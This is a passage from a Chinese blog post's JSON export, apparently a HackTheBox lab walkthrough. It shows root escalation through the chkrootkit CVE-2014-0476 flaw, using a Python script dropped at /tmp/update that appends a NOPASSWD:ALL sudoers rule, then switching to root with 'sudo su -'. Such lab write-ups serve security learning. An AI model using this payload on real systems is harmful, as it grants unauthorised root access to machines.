v0.49<\/code>\u7684\u6743\u9650\u63d0\u5347\u6f0f\u6d1e\uff08<code>CVE-2014-0476<\/code>\uff09\u8fdb\u884c\u63d0\u6743\u653b\u51fb<strong>\uff08\u521b\u5efa\u6076\u610f\u811a\u672c<\/strong><code>\/tmp\/update<\/code><strong>\uff0c\u968f\u540e\u7b49\u5f85\uff09<\/strong>\uff1a<\/p>\n<pre><code class=\"language-python\">#! \/usr\/bin\/python3\nimport os\nif os.path.exists(\"\/tmp\/id.txt\"): \n    exit(0)\nos.system(\"id &gt; \/tmp\/id.txt\")\nwith open(\"\/etc\/sudoers\",\"a\") as f:\n    f.write(\"%amrois  ALL=(ALL:ALL)  NOPASSWD:ALL\")<\/code><\/pre>\n<p><strong>\u8fc7\u4e00\u4f1a\u513f\u518d\u6b21\u4f7f\u7528<\/strong><code>sudo -l<\/code><strong>\u547d\u4ee4\u67e5\u8be2\u6743\u9650\uff0c\u4fee\u6539\u6210\u529f\uff1a<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718936587438-8d24806d-2436-40f9-99d9-64692813c5fc.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u4f7f\u7528<code>sudo su -<\/code>\u547d\u4ee4\u5207\u6362\u7528\u6237\u81f3<code>root<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1718936657772-1916956a-f301-4a82-bdd7-6cebb6077404.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n<pre><code class=\"language-plain\"><\/code><\/pre>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.43 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b \u250c\u2500\u2500(root\u327fhacker)-[\/home\/\u2026\/Docum &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-100","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/100","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=100"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/100\/revisions"}],"predecessor-version":[{"id":101,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/100\/revisions\/101"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=100"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=100"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=100"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}